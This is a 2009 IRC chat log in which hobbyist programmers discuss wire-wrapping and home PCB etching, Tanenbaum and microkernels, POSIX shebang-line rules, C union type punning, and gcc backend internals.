AnMaster: friction 20:38:23 I once touched a hot, bright lightbulb with the my hand directly. 20:38:25 ais523, err, the end? 20:38:27 In a sort of grasping motion. 20:38:36 That was not actually very damaging. 20:38:37 But damn it hurt. 20:38:38 AnMaster: you wrap the wire around a lot, tightly 20:38:52 ais523, trapping the end under the wraps? 20:39:04 no, you wrap the end of the wire around the pin 20:39:09 if you wrap tightly enough, it stays on 20:39:16 ais523, that makes no sense 20:39:20 AnMaster: The process of wire-wrapping creates a cold weld. 20:39:28 pikhq, uhu.... 20:39:34 pikhq, how does that work 20:40:08 ais523: "Wire wrap construction can produce assemblies which are more reliable than printed circuits" 20:40:12 Bringing two pieces of metal in contact with each other at enough pressure welds them together. 20:40:21 ehird: yes, I've seen some /really/ low quality printed circuits in the past 20:40:29 pikhq, interesting 20:40:34 -!- jix has quit (No route to host). 20:40:45 soldering is more reliable than wire-wrapping; but the actual printed wires on PCBs can often be awful 20:40:49 so the connections are fine, but the wires break 20:40:59 ais523, ah yes, seen that too 20:41:06 you can use stripboard if you want the reliability of wires and of soldering 20:41:07 Works only with metals that don't oxidize, IIRC. 20:41:18 but that doesn't work on high-frequency circuits 20:41:34 pikhq: most wires in use nowadays are tin-plated, though, even though they're made of copper 20:41:34 (or in a vaccum) 20:41:39 that's why they don't look red like copper does 20:42:51 * pikhq observes that wire-wrapping is kinda cool, if absurdly labor-intensive. 20:43:10 Unless you've got a handheld wire-wrapping tool or an automatic wire-wrapper. 20:43:21 (the latter is about as cheap as a chip fab) 20:43:38 i want one of those loom things 20:43:41 and emulate x86 on them 20:43:50 it'd totally be possible 20:43:54 pikhq: but solder wave baths are cool too 20:44:03 ehird: but x86 is an awful architecture 20:44:07 ais523: Indeed, they are. 20:44:10 ais523: thus making the emulation more impressive 20:44:14 run X on a loom! 20:44:20 That's just painful. 20:44:31 Now, I bet that Magic-1 could run X. 20:44:37 Not well, but it could run. 20:44:42 (assuming video hardware) 20:44:45 4mhz, Minix... 20:44:45 rather slowly, I'd imagine 20:44:49 It could run X pretty nicely. 20:44:51 4mhz isn't too bad... 20:44:52 ais523, are there good quality printed circuit boards? 20:44:56 You could run a few xterms. 20:44:57 AnMaster: yes 20:44:58 Hmm. 20:45:00 motherboards, for one 20:45:05 So why not? 20:45:13 It wouldn't be fancy stuff like we're used to, but it'd at least run X. 20:45:20 ais523, right. But none of those you actually end up soldering on yourself! 20:45:22 what's really disappointing, though, is that at University, we couldn't make our own PCBs for safety reasons 20:45:22 Not much more than Xterms and TWM, I'd imagine. 20:45:28 so we had to pay for the technicians to make them 20:45:34 ais523: ... 20:45:37 and they came out lower-quality than the ones I'd made alone at secondary school 20:45:40 That's really lame. 20:45:49 ais523, is it hard to make PCBs? 20:45:50 pikhq: very, considering I was approved to make them when at school 20:45:51 All you really need to make a PCB is a dark room. 20:45:52 and not at university 20:45:59 AnMaster: no, you just need the appropriate equipment 20:46:05 ais523, how is it unsafe then 20:46:10 pikhq: xterms and twm should be enough for anyone 20:46:13 AnMaster: it involves chemicals 20:46:23 AnMaster: The best way to do it at home is a photographic process. 20:46:25 ais523: oxygen is a chemical!111 20:46:26 some of which are moderately dangerous 20:46:26 ais523, err... So what about chemistry classes at uni 20:46:32 pikhq: you don't need a dark room 20:46:37 vs. those at school 20:46:38 I agree with the photographic process 20:46:39 ais523: It helps. 20:46:42 but it's done with ultraviolet 20:46:53 so as long as you block out natural light and are fast, you don't care about visible light around 20:47:03 ais523: that's how you make printed circuit boards? 20:47:04 ais523: The thing is, a dark room has all the equipment you need. 20:47:08 like developing a photograph with ultraviolet? 20:47:09 :-D 20:47:22 that's *awesome* 20:47:23 ehird: yes 20:47:24 I didn't say it needs to actually be dark. 20:47:37 pikhq: ah, ok 20:47:38 that's ultra mega awesome 20:47:44 ehird: Enlarger, wash basin, and some chemicals. :) 20:47:52 what do you actually develop, though? 20:47:56 not the result 20:47:56 the input 20:48:00 ehird: basically, you have PCBs coated with copper, where the copper is itself coated with photoresist 20:48:08 you print out your design on tracing paper 20:48:20 then shine ultraviolet through the tracing paper onto the photoresist 20:48:29 what does the design look like? 20:48:37 ehird: the shape of the copper you need 20:48:39 It's a negative. 20:48:45 haha that's so awesome. 20:48:46 ink where the copper is, blank where it isn't 20:48:57 so it's arguably a positive, the whole process is a double-negative 20:48:59 so this is how they make motherboards? 20:49:06 for motherboards, it's automated 20:49:18 and the boards have multiple layers, so it's a bit more complicated 20:49:19 ais523: Oh, didn't realise that it was positive-positive printing. 20:49:51 pikhq: black on the input = no ultraviolet = fixed photoresist = the acid can't get to the copper 20:49:57 so it's sort-of double-negative printing 20:50:01 I wasn't thinking. 20:50:25 That's positive printing. ;) 20:50:58 anyway, once you've shined the ultraviolet onto the photoresist, you take the whole thing over to a vat of developer 20:51:01 and submerge it in there 20:51:07 I wonder what the ideal instruction set for C is 20:51:20 ehird: PDP-11. 20:51:20 the photoresist is naturally green, but it turns purple in the developer and washes off in a sort of wispy fashion, it's rather pretty 20:51:24 pikhq: not really 20:51:29 then you dip the whole thing in a vat of acid 20:51:36 and that's the bit that people keep screwing up 20:51:38 -!- Asztal_ has joined. 20:51:48 ais523: I always thought motherboards were just like, squirting and denting silicon and copper and shit with machines. 20:51:48 But you can run the original compiler on a PDP-11. 20:51:53 Photographic motherboards is so cooler. 20:51:58 if you don't leave it in there long enough, the acid doesn't have enough time to etch away the copper 20:52:00 and you get open circuits 20:52:07 -!- jix has joined. 20:52:10 *short circuits 20:52:20 ais523: That's kinda lame. 20:52:21 if you leave it in there too long, the acid gets in under the photoresist and the wires become unreliable 20:52:37 -!- Asztal_ has quit (Client Quit). 20:52:42 Especially since the etching isn't that much harder than a photographic fixer... 20:52:48 no, it isn't 20:52:49 wow, Minix doesn't do copy-on-write when fork()ing 20:52:50 how rubbish 20:52:57 which is why it's beyond me that people keep screwing it up 20:52:57 Granted, the etch bath is a bit more caustic than a fixer. 20:53:02 I am, as you guessed, rather bitter about this 20:53:09 Don't blame you. 20:53:31 (also, a 45-degree angle or less on a PCB is known as an "acid trap", because the acid tends to get stuck in it even after you've taken the PCB out of the acid) 20:53:33 I mean, really. It's a process that's well over a hundred years old by now. 20:53:40 My *grandmother* could do it better. 20:53:57 (really; she has dark room equipment laying around) 20:54:00 pikhq: what method do you use in order to get the spare photoresist off afterwards? 20:54:19 when I used to do it, we did it by covering the whole board with ultraviolet and developing a second time 20:54:23 * Corun notes that tanenbaum is giving a lecture as his uni a week on thursday 20:54:27 ais523: For a circuit board? 20:54:32 I think that's the best method. 20:54:37 pikhq: yes, it works because there are no components 20:54:41 and agreed 20:54:48 although there are at least two methods which work at that point 20:54:50 Might be a wash bath instead, but *shrug* 20:55:10 I've seen a catalogue that recommended you used a PCB eraser to clean the lines of photoresist 20:55:17 Corun: That's pretty nice. I recommend going, he's a rather good speaker. 20:55:18 and a PCB eraser works much the same way to a pencil eraser 20:55:30 Yeah, I'll go 20:55:41 Tell him about all my next gen OS ideas :-) 20:55:41 I wonder if tanenbaum still considers linux obsolete 20:55:44 Or maybe I shouldn't... 20:55:52 * pikhq saw his address at USENIX ATC '08, after he got the USENIX Lifetime Achievement Award. Good lecture. 20:55:55 I mean he could just steal them ^_^ 20:56:07 pikhq, who? 20:56:16 ... 20:56:17 AnMaster: Tanenbaum. 20:56:18 Tanenbaum. 20:56:22 * AnMaster googles 20:56:26 * ehird boggles. 20:56:30 Corun: Feel free to tell him. 20:56:30 You DON'T KNOW WHO TANENBAUM IS? 20:56:34 ehird, isn't it German for xmas tree... 20:56:34 Stop using a computer right now. 20:56:35 iirc 20:56:44 AnMaster: Less talking, more shutting off. 20:56:48 Minix inventor, and author of like a million OS books and basically he's professor of all Operating Systems. 20:56:48 He likes talking about kernel designs. 20:57:00 AnMaster: He wrote the book on kernels. 20:57:00 ehird, did ais523 know... 20:57:09 AnMaster: I'm pretty fscking sure ais523 knows who Tanenbaum is... 20:57:15 ehird, considering he didn't know who jwz was... 20:57:21 He knew who jwz was. 20:57:26 ehird, no he didn't 20:57:27 He just didn't know he worked on Netscape. 20:57:27 AnMaster: according to lingbot, "Tanenbaum" translated from German to English is "apertium" 20:57:39 ais523: you knew who jwz was, didn't you? 20:57:41 but as far as I know, "apertium" isn't an English world 20:57:43 ais523, what is "apertium"? 20:57:43 just not that he worked on netscape 20:57:45 ah 20:58:10 ehird: my situation with Tanenbaum is similar; I know he's famous in computers/programming, but can't remember what for 20:58:18 ais523: flaming Linux 20:58:21 is the most famous thing 20:58:22 but also, Minix 20:58:29 and a gigantic amount of operating system textbooks 20:58:38 ehird, so don't complain about me then 20:58:41 but most famous popculture wise, definitely flaming Linux way back then 20:58:47 AnMaster: at least he had a vague idea 20:59:00 ehird, the name did sound familiar 20:59:05 ah, Minix, that was it 20:59:08 why did he flame Linux? 20:59:15 ais523: monolithic kernel 20:59:17 for doing things differently? 20:59:20 Cos he considered it a step backwards in operating system design 20:59:23 yep, I remember now 20:59:40 ais523: http://oreilly.com/catalog/opensources/book/appa.html 20:59:41 and the funny thing is, with modules, Linux managed to work around many of the disadvantages of being monolithic 20:59:49 the full debate 21:00:01 although it was restarted in 2006, it seems 21:00:03 ehird, why did he flame linux btw 21:00:06 oh wait 21:00:10 I'm late asking 21:00:12 AnMaster: Dude! What is UP with your SCROLLBACK? 21:00:22 You never seem to use it... 21:00:23 ais523: Linux is an example of good monolithic design. 21:00:29 ehird, I was searching on wikipedia for it 21:00:33 ehird, didn't find it 21:00:36 ehird, asked here 21:00:37 I suspect a very sophisticated microkernel could be better, but *shrug*. 21:00:41 oh, apparently, according to lingbot, "Tanenbaum" in German translates to "apertium" in English, Swedish, /and/ French 21:00:44 saw that ais asked above 21:00:51 pikhq, QNX style? 21:00:55 pikhq: Microkernels are evil. 21:00:58 I'm just happy using a well-designed kernel. 21:01:01 So's monolithic kernels. 21:01:02 ais523, that is broken 21:01:03 So's kernels. 21:01:13 AnMaster: Minix style, bitch. ;) 21:01:30 now I'm curious as to what "apertium" means, it looks vaguely Latin 21:01:32 http://tunes.org/cliki/microkernel_20debate.html 21:01:36 ais523, um I suspect a bug: http://en.wikipedia.org/wiki/Apertium 21:01:43 it is a translation software it seems 21:01:45 & http://tunes.org/cliki/kernel.html 21:01:48 ais523, :D 21:01:50 & http://tunes.org/cliki/no-kernel.html 21:01:54 [21:01] lingbot: en de "test"? 21:01:55 [21:01] ais523: "Test" (en to de, apertium) 21:02:00 I think it's a bug too 21:02:09 ais523, it is using that software, but it is buggy? 21:02:52 Translation: German » English 21:02:52 Tanenbaum 21:02:52 Tanenbaum 21:02:55 could be 21:02:59 that is Google translate 21:04:05 ehird: according to that page you linked, NT's a microkernel 21:04:06 that surprises me 21:04:09 no 21:04:15 according to it, NT was originally designed as a microkernel 21:04:21 but grew into a monolithic one 21:04:30 and then it says that was disputed by an NT architect 21:04:37 ah, ok 21:05:09 heh, Tanenbaum seems to hate x86 just as much as everyone else 21:06:02 But in all honesty, I would 21:06:03 suggest that people who want a **MODERN** "free" OS look around for a 21:06:03 microkernel-based, portable OS, like maybe GNU or something like that. 21:06:09 I love how GNU was a reasonable OS proposition for the future in 1992 21:06:13 with Hurd! 21:06:44 maybe it would have been, if more people worked on it 21:06:55 it'd have been terribly bloated 21:07:00 I wonder if there's anything intrinsically wrong with Hurd, or just if it never caught on 21:07:03 but then... GNU design 21:07:07 ah yes, it would never have caught on 21:07:42 ais523, why not? 21:07:44 GNU design? 21:07:52 ais523: have you read the HURD design? 21:07:55 it's truly crazy 21:08:04 ehird: bits of it, but I think my brain shut off 21:08:15 AnMaster: GNU programs tend to get bloated over time 21:08:16 it involves kernels being kernels among other kernels while a centralized kernel manages them in a kernel way 21:08:19 sort-of like Firefox 21:08:26 ais523, true 21:08:26 and then you get injected with LSD 21:08:31 which is strange, as other open-source software doesn't 21:08:36 (part of the bootup phrase, I thikn) 21:08:36 well, not all of it 21:08:37 *think 21:09:00 ehird, exokernels? 21:09:02 or what 21:09:07 AnMaster: I don't even know 21:09:13 ehird, or Xen style? 21:09:19 I don't know 21:09:22 kay 21:09:27 It's not anything I've seen before 21:09:29 It's crazy 21:09:56 heh, it has a server with the express purpose of handling crashes 21:10:00 the crash server 21:10:35 $ ./esotope-bfc 21:10:35 /usr/bin/env: python -O: No such file or directory 21:10:36 fail 21:10:43 #!/usr/bin/env python -O 21:10:46 that isn't valid 21:10:47 AnMaster: that's not fail 21:10:52 ehird, it is 21:11:02 AnMaster: it's your system having an arbitrary limitation 21:11:04 ehird, iirc you can only give one parameter on that line 21:11:05 ... 21:11:06 nope 21:11:09 yep 21:11:12 only one is guaranteed, I think 21:11:13 what does POSIX say? 21:11:17 ehird, there you are then 21:11:19 but the only reason more wouldn't work is due to artificial limitation 21:11:24 AnMaster: _guaranteed_ 21:11:26 more isn't invalid 21:11:28 lifthrasiir, it is a bug. 21:11:34 ... no it's not 21:11:44 AnMaster: fail, /usr/bin/env is more than 8 letters long 21:11:50 ooh, burn 21:11:52 ais523, haha 21:11:55 I'm not sure if that's an artificial POSIX limitation 21:11:58 but it ought to be 21:12:03 ais523, oh 21:12:07 POSIX has no limitation on it 21:12:12 it just states that you're only guaranteed one argument 21:12:17 if you can't handle more, your kernel sucks 21:12:30 ehird, going to stay on OS X then 21:12:31 I see 21:12:44 moving to a PC != the linux kernel is good 21:12:47 ah, it seems that the limit's 32 21:13:03 as in, some old shells will cut off #! lines after 32 characters 21:13:10 man perlrun warns about that 21:13:17 in case your command-line options get cut in half 21:13:22 (Perl parses #! lines itself) 21:13:22 Another way that some historical implementations handle shell scripts is by recognizing the first 21:13:22 two bytes of the file as the character string "#!" and using the remainder of the first line of the 21:13:22 file as the name of the command interpreter to execute. 21:13:27 quoting POSIX 2008 21:13:37 about exec() 21:13:38 AnMaster: if that's true, then /usr/bin/env is invalid 21:13:43 as it'd mean you can't specify any arguments 21:13:45 so sir, the fail is on you 21:14:00 incidentally, would just #!python work? 21:14:20 ais523: nope 21:14:24 as in, does it do a path search for the executable you ask, or does it just go to the place you ask/ 21:14:27 ah, pity 21:14:29 [ehird:~/Junk] % cat>a 21:14:29 #!python 21:14:30 print "hi" 21:14:33 [ehird:~/Junk] % chmod +x a 21:14:34 [ehird:~/Junk] % ./a 21:14:36 zsh: ./a: bad interpreter: python: no such file or directory 21:14:55 anyway 21:15:07 lifthrasiir, the wrapper script is broken on Linux. 21:15:11 lifthrasiir, needs to be fixed 21:15:26 AnMaster: can I point out some hypocrisy here? 21:15:40 you refuse to support systems that don't support POSIX properly. why should lifthrasiir make up for a deficiency in your kernel? 21:16:01 ehird, I support systems that support what POSIX + XSI requires 21:16:10 and this is more than what POSIX + XSI requires 21:16:19 he supports systems that don't have artificial limitations on #! arguments 21:16:43 whereas with C-INTERCAL, I aim to eventually support anything which has a program vaguely resembling a C compiler 21:16:47 although I'm not there yet 21:16:57 From XSH: 21:16:59 1. The shell reads its input from a file (see sh), from the −c option or from the system( ) and 21:16:59 popen( ) functions defined in the System Interfaces volume of POSIX.1-2008. If the first 21:16:59 line of a file of shell commands starts with the characters "#!", the results are 21:16:59 unspecified. 21:17:03 xsh? 21:17:12 ais523, the section on the shell 21:17:14 and tools 21:17:24 AnMaster: ok, so depending on #!-lines is unportable 21:17:29 ehird, yes! 21:17:29 AnMaster: the german spelling is "Tannenbaum" 21:17:32 you're digging yourself into a hole here, AnMaster 21:17:38 ehird, no I'm not 21:17:42 this is exactly why strict POSIX compliance is bullshit 21:17:44 ehird: AnMaster: wait, that's about calling a shell with a file starting #! as its argument 21:17:48 ehird, you fail 21:17:52 that's different from running a program starting #! 21:17:57 ais523: are you sure? 21:17:59 unless the #! line specifies a shell 21:17:59 ./a executes the shell on a 21:18:12 ehird: no, because what if it's a binary? 21:18:14 ./a /runs/ a 21:18:26 ais523: hmr 21:18:31 err 21:18:32 not XSH 21:18:34 XCU 21:18:37 obviously 21:18:41 XSH is system interfaces 21:18:45 AnMaster: I fail to see why that's obvious 21:19:04 ais523, because XSH is system interfaces, the C API. 21:19:08 all the headers 21:19:09 and so on 21:19:17 SH means system interfaces 21:19:19 of course 21:19:20 yes, but I don't imagine that that's common knowledge 21:19:21 ais523, POSIX comes in 4 volumes... 21:19:21 XCU means shell 21:19:23 of course 21:19:28 XBD XSH XCU XRAT 21:19:32 so something that depends on it is not "obvious" 21:19:51 ehird, XCU means "Shell and Utilities" 21:19:57 and yeah it is confusing 21:19:59 C stands for Shell 21:19:59 that's like saying that #1 $ #1 equals #3, obviously 21:20:00 obviously 21:20:03 which is why I mixed them up 21:20:07 Chell 21:20:49 XBD Is Base Defintion. Says stuff like "mount point" being an implementation defined concept 21:20:51 and what not 21:21:14 bbl food 21:21:35 ais523: We should make a DS9K implementation of POSIX 21:21:41 just to trample on everyone touting POSIX compliance 21:21:42 ehird: see Windows 21:21:45 I'd do it on my own, but you're eviller 21:21:50 ais523: that's more a DS9King of the tests 21:21:54 not the OS 21:21:56 well, yes 21:22:16 something that'd pass a stock POSIX test suite run by an unbiased tester, but still be completely broken on more or less anything 21:22:17 is what I meant 21:22:22 but you mean, an implementation that's more interesting than ENOTIMPLEMENTED as a return value for everything? 21:22:25 yes 21:25:56 ais523: would it be possible to implement posix in user-mode? 21:25:59 completely compliant 21:26:13 ehird: I don't see why not, so long as you can implement devices somehow 21:26:33 ais523: just map them to the host devices 21:26:37 wait, which devices 21:26:37 /dev? 21:26:42 or physical I/O devices 21:26:49 well, I suppose /dev 21:26:52 you'd have your own in-memory FS, ofc 21:26:54 from the point of view of the testsuite 21:28:03 BA-K-47: America's No. 1 bacon-based assault rifle 21:28:04 and now it's hit Slashdot: http://tech.slashdot.org/article.pl?sid=09/05/19/1846258&from=rss 21:28:05 http://latimesblogs.latimes.com/dailydish/2009/05/bak47-the-gun-that-will-revolt-and-defeat-terrorists.html 21:28:13 I have no idea if I'm responsible for all this or not... 21:28:22 ais523: ask? 21:28:52 can't be bothered, and don't have a good way to ask 21:28:56 comment 21:29:07 -!- Gracenotes has quit ("Leaving"). 21:31:30 ais523: a kernel that can run in user-mode would be interesting 21:31:41 like, it requires a basis of functions that either map to the host OS or the hardware 21:31:46 and the rest of the kernel is built on top of them 21:31:56 so you could, say, do a VPS or a jail really cheaply 21:32:01 ehird: that's basically how gcc-bf's fake operating system works 21:32:14 right, but it could be both usermode and hardware 21:32:36 I love the way I implemented a filesystem 21:32:50 it's just a dictionary of file against file contents, implemented using linear search 21:32:56 possibly the world's worst filesystem 21:33:23 ais523: oh, with user-mode posix, you could run a standard filesystem on a real harddisk 21:33:29 ehird: So, something like UML? 21:33:36 although you'd probably want to do it in a big file, to avoid the whole root thing 21:33:38 -!- RodgerTheGreat has joined. 21:33:39 and for convenience 21:33:43 howdy folks 21:33:47 * pikhq waveth at the Rodger 21:33:49 pikhq: it just emulates the hardware for linux, doesn't it? 21:33:55 not actually run a kernel properly tuned to usermodeity 21:34:14 yeah, I definitely need to start coming here again 21:34:22 ehird: It's not very well-tuned, but it does implement everything in terms of Linux system calls. 21:34:26 but you mean, an implementation that's more interesting than ENOTIMPLEMENTED as a return value for everything? <-- isn't allowed for most stuff in 2008 21:34:28 iirc 21:34:32 pikhq: eh, even so 21:34:39 for example in POSX 2008 mmap() is required 21:34:44 And it's been ported to Cygwin before. I'd imagine it wouldn't be hard to abstract it further. 21:34:45 while in 2001 it is optional 21:35:30 Hmm. A usermode POSIX kernel would be pretty cool to implement, actually. 21:35:34 RodgerTheGreat, have you been away? 21:35:42 I'm very much enjoying the public reaction to Alpha- "This seems to be pretty useless. It cannot tell me how many cigarettes would fit between the earth and the sun, the nutritional value of Lindsay Lohan, or how big Shaq would have to be to dunk the moon." 21:35:52 AnMaster: I used to hang out here pretty regularly 21:35:55 AnMaster: Just not in this channel. 21:35:56 AnMaster: mmap doesn't force you to map anywhere in particular in memory, though, does it? 21:36:09 RodgerTheGreat, I know 21:36:20 RodgerTheGreat: It also can't plot the distance to jupiter over time, although it can give you the distance to jupiter in a given year. Don't make excuses for its shittiness. 21:36:31 And yes, I worded it every which way. 21:36:31 RodgerTheGreat, I just never noticed you left. 21:36:34 so did GregorR 21:36:34 ais523, huh? 21:36:36 also, children can't legally use it, or so the terms of service claim 21:36:49 ais523, I leave that to the OS. by passing a NULL pointer 21:36:51 AnMaster: so couldn't you just allocate a bitmap and copy the file into it, and then copy the bitmap back into the file when it closed? 21:36:52 yeah, I'm mostly on irc.esper.net these days, so I just haven't bothered to connect to freenode as well 21:36:56 to implement mmap? 21:37:14 ais523, err. Sure why not. 21:37:25 it would be inefficient; but no reason why you can't implement mmap in userspace 21:37:31 ais523, if you can handle the updates on writes from other processes correctly 21:37:34 attempts to map into a particular location would presumably always be rejected 21:37:43 AnMaster: you could commit the file at every context switch 21:37:51 that would be /really/ inefficient, but correct I think 21:37:53 ais523, sure. If you want to 21:38:07 it would make mmap rather unusuable, but if this is meant to be a DS9K, why not? 21:38:13 oh hey- I don't think I ever showed this in here- 21:38:21 http://je.zacbrown.org/code/neurogen.ps 21:38:23 ais523, but I fail to see how it would break any app relying on common behaviour. Would just make them slow. 21:38:28 ais523: it seems this has split into two; DS9Ksix and Usersix 21:38:36 a neural-network backpropagation trainer in postscript! 21:38:38 Ah, the postscript neural network. 21:38:40 RodgerTheGreat: *clicks, browser freezes* 21:38:43 Oh, it loaded. 21:38:48 Neural networks are pretty simpl 21:38:49 e 21:38:54 only takes a second or two to compute 21:39:10 brb→ 21:39:47 ehird: about your link a couple of screens back, there was a story on Slashdot a few months ago about how someone had managed to cut through metal with a piece of bacon 21:39:48 ais523, and anyway I rely on reading different member of union having a sensible result. Should anyone actually run into real issues with it for cfunge I could add a memcpy() variant as a compile time option. 21:39:54 by making it really hot, or something 21:39:56 ←ais523: awesome→ 21:39:57 but then I want actual proof for it failing 21:40:11 especially if ehird says it 21:40:17 or you ais523 21:40:29 You know what'd be cool to build? A computer using cordwood construction. 21:40:29 ←DS9C→ 21:40:34 http://en.wikipedia.org/wiki/File:Cordwoodcircuit.agr.jpg 21:40:46 AnMaster: using unions for type punning is legal, IIRC, because that's what they were designed for 21:41:04 ais523, iirc reading from different member is implementation defined 21:41:08 in C 21:41:23 pikhq, wth is that 21:41:46 AnMaster: High-density circuit design using wire-ended components. 21:42:00 You stick the components between two circuit boards. ;) 21:42:09 pikhq, hard to solder I imagine 21:42:16 Yeah. 21:42:29 actually not too bad to solder, but a bitch to assemble on any kind of scale 21:42:29 Even harder how it was originally done. 21:42:30 Tin welding. 21:42:48 one C weirdness: you can use different sorts of pointers to point to different things, but all pointers to unions must have the same representation no matter what sort of union it is 21:42:51 the difficulty in aligning components grows exponentially relative to the number of components 21:43:33 AnMaster: what exactly are you unioning? 21:43:34 RodgerTheGreat: At the time, your alternatives for high-density circuit design were non-existent. 21:43:42 well, sure 21:43:47 This is before surface-mounted components and integrated circuits. 21:43:53 either this or freeforming 21:43:55 ais523, int32_t and float 21:44:04 AnMaster: how do you know float's 32 bits long 21:44:08 that's obviously unportable 21:44:11 And now, you'd only do it for similar reasons to doing a wire-wrapped computer. 21:44:14 ais523, IEEE says so 21:44:24 AnMaster: C doesn't say it's IEEE. 21:44:30 pikhq, true 21:44:33 that is why README says so 21:44:44 AnMaster: C doesn't demand IEE representation 21:44:47 well, wire-wrapping has some distinct mechanical advantages that can occasionally make it worthwhile 21:44:49 ah, pikhq beat me 21:44:59 ais523, and I already replied to why 21:45:08 And floats are often-times done using x87 instructions. 21:45:17 I think building a CPU as a freeformed circuit would be beautiful and impressive 21:45:21 Which are fucking crazy, instead of IEEE. 21:45:41 RodgerTheGreat: Mmm, yeah. 21:45:55 pikhq, sure. But as long as float are 32 bits I'm happy. Anyway FPDP and FPSP won't work if the floats/doubles are of other sizes 21:46:00 in any way whatsoever 21:46:25 if I had more EE chops I'd totally do it. If someone designed one that seemed to be on a feasible scale I'd help assemble it 21:46:26 ok, using a union for type-punning is permitted by 6.5.7, but there may be other reasons it's illegal 21:46:40 ais523, C99 Annex F (normative) 21:46:42 RodgerTheGreat: Same. 21:46:58 I could probably build one out of TTL logic chips, but that seems like cheating 21:47:10 ais523, exact behaviour is implementation defined iirc 21:47:25 I dunno. Free-form even with TTL logic would be impressive. 21:47:29 ais523, err what 21:47:30 6.5.7 Bitwise shift operators 21:47:31 .......... 21:47:35 ais523, that made no sense 21:47:43 Actually, if you could build one with TTL logic chips, you could probably hand-build one. 21:47:58 ais523, what section did you really mean 21:48:01 Surely you could just get a good design for logic gates instead? 21:49:42 AnMaster: I meant 6.5.7, unfortunately there are two versions of the C standard which are identical apart from section numberin 21:49:44 *numbering 21:49:51 ais523, I have the ISO one 21:50:04 ais523, ISO/IEC 9899:TC3 21:50:29 ais523, what section name did you mean 21:50:35 never mind 21:50:39 ais523, what? 21:50:43 let me finish reading, then I'll tell you 21:50:50 and I don't know offhand, I'd have to go back and look 21:50:51 http://en.wikipedia.org/wiki/Intel_80487 21:51:00 ... That is one bizarre 'coprocessor'. 21:51:12 pikhq, I know... 21:51:50 Your i487 SX could in theory be a downgrade. XD 21:52:27 pikhq, compared to what 21:52:46 Your previous 486 SX. 21:52:58 There was more than one clock speed on those. :p 21:53:00 err, "coprocessor"? 21:53:02 oh 21:53:06 pikhq, I see 21:53:22 pikhq, surely you needed matching speeds? 21:53:40 Not necessarily. 21:54:04 ais523: 'Coprocessor', since by inserting it, you disable the 80486 on your motherboard. 21:54:18 it's more an instead-processor 21:54:25 Yeah. 21:54:33 Thus the scare quotes. 21:54:49 http://en.wikipedia.org/wiki/File:Intel_Pentium_III_Katmai.jpg 21:54:55 that's one strange CPU mounting 21:55:30 you should see the heatsink 21:56:03 most PIIs were set up like that, and a lot of Sun's Ultra CPUs mounted the same way 21:56:17 RodgerTheGreat, err. I have a P3 that is normal ZIF mounting 21:56:21 Not was weird as the Slot 1 -> Socket something adaptors that you could use for Celerons... 21:56:46 RodgerTheGreat, copper mine 21:56:51 996 MHz 21:57:20 oh PII 21:57:21 right 21:57:33 pikhq, http://en.wikipedia.org/wiki/File:Pentium_III_on_motherboard.jpg ? 21:57:51 AnMaster: I'm confused: informative appendix J says that section 6.2.6.1 says that reading from a union member you didn't last store into is unspecified 21:57:52 http://en.wikipedia.org/wiki/Slot_1 21:57:52 ok 21:58:03 but I can't see a statement to that effect anywhere in section 6.2.6.1 21:58:22 6.2.6 Representations of types 21:58:23 6.2.6.1 General 21:58:28 yes, that one 21:58:28 are we talking about the same one this time? 21:58:30 ah 21:58:51 -!- jix has quit ("Lost terminal"). 21:59:34 7 When a value is stored in a member of an object of union type, the bytes of the object 21:59:34 representation that do not correspond to that member but do correspond to other members 21:59:34 take unspecified values. 21:59:37 what about that one 21:59:40 I'm not sure 21:59:58 ais523, seems to be that 22:00:12 AnMaster: no, not that 22:00:19 that's mentioned elsewhere in appendix J 22:00:24 ais523, then what does the quoted bit imply 22:00:36 it means, that say you have a union of a short and a long 22:00:45 ais523, I quoted 6.2.6.1 (7) 22:00:45 then if you assign to the short, the bits of the long you didn't assign to end up unspecified 22:00:49 ah 22:00:56 which makes sense I suppose 22:01:05 yeah it does 22:01:06 although leaving them the same would be more useful 22:01:15 The slot-mountable Pentiums always reminded me of NES game carts. 22:01:20 ais523, less efficient 22:01:28 ais523, on some architectures 22:01:40 ais523, say you can only write a 16 bits at once 22:01:56 then have a char and a long 22:02:08 (and 8 bit char) 22:02:23 yes 22:02:27 that's why it's done that way 22:02:42 the C standard is designed to allow implementations to be close to the hardware if they want to 22:02:45 ais523, or maybe reading/writing word size is faster, even if you can still do individual bytes 22:02:51 and do to weird high-level stuff too, if they want to 22:03:04 ais523, which end is GCC at 22:03:15 I don't know 22:03:17 probably both 22:03:28 ais523, you wrote a backend for it. Surely you know! 22:04:15 you don't need to understand all of gcc in order to write bits of it 22:04:54 AnMaster: A backend just does RTL->machine code translation. 22:05:00 hm ok 22:05:03 RTL doesn't tell you much about how it does C. 22:05:22 pikhq: actually, the backend generates the RTL too 22:05:35 ais523, why does it 22:05:45 gcc's architecture is interesting 22:05:51 you create templates that it converts standard opcodes into 22:05:56 like addition, for instance 22:05:58 that's RTL templates 22:06:00 into what? 22:06:06 ah 22:06:07 it then pattern-matches the templates you generated to create asm 22:06:21 but the RTL itself is modified in between 22:06:23 ais523, what about peep hole optimising 22:06:30 that's done on the RTL, normally 22:06:35 although you can do it on the asm if you really want to 22:06:40 yes and it is partly arch specific 22:06:41 well, RTL -> asm 22:07:00 but the RTL itself is modified in between <-- by what 22:07:14 AnMaster: gcc, of course 22:07:17 the less backendy bits 22:07:20 ais523, what part of it 22:07:24 and for what purpose 22:07:26 register allocation, mostly 22:07:30 and also various optimisations 22:07:31 ah 22:07:38 -!- kar8nga has quit (Remote closed the connection). 22:07:47 ais523, why was tha backend involved before that 22:08:13 AnMaster: because it generates the sort of RTL that works well on the target platform 22:08:26 ah 22:08:38 the idea is that say, if you're faster at bitshifts than addition 22:08:45 you'll generate a bitshift for x+X 22:08:46 ais523, so that is where you turn mov 0,%eax into xor %eax,%eax ? 22:08:47 *x+x 22:08:56 AnMaster: no! the mov 0,%eax is never generated 22:09:02 ais523, yes it is... 22:09:05 ais523, at -O0 22:09:27 well, the conversion works differently at different optimisation levels, it's a mess 22:09:35 ais523, ok.... 22:09:38 and the x86 code is /especially/ a mess 22:09:43 ais523, how comes 22:09:49 most interest in it? 22:09:53 presumably they couldn't be bothered to add a new constraint letter for "compile-time constant zero" 22:09:54 So most people working on it? 22:10:01 AnMaster: could be 22:10:02 Since sourcefurge's been talked about here occasionally, and not everyone has a project there I guess, here's a bit of information that was emailed today: "Discussion Forums will be replaced by phpBB." 22:10:11 yes, that was mentioned earlier 22:10:14 presumably they couldn't be bothered to add a new constraint letter for "compile-time constant zero" <-- what has this got to do with the inline asm 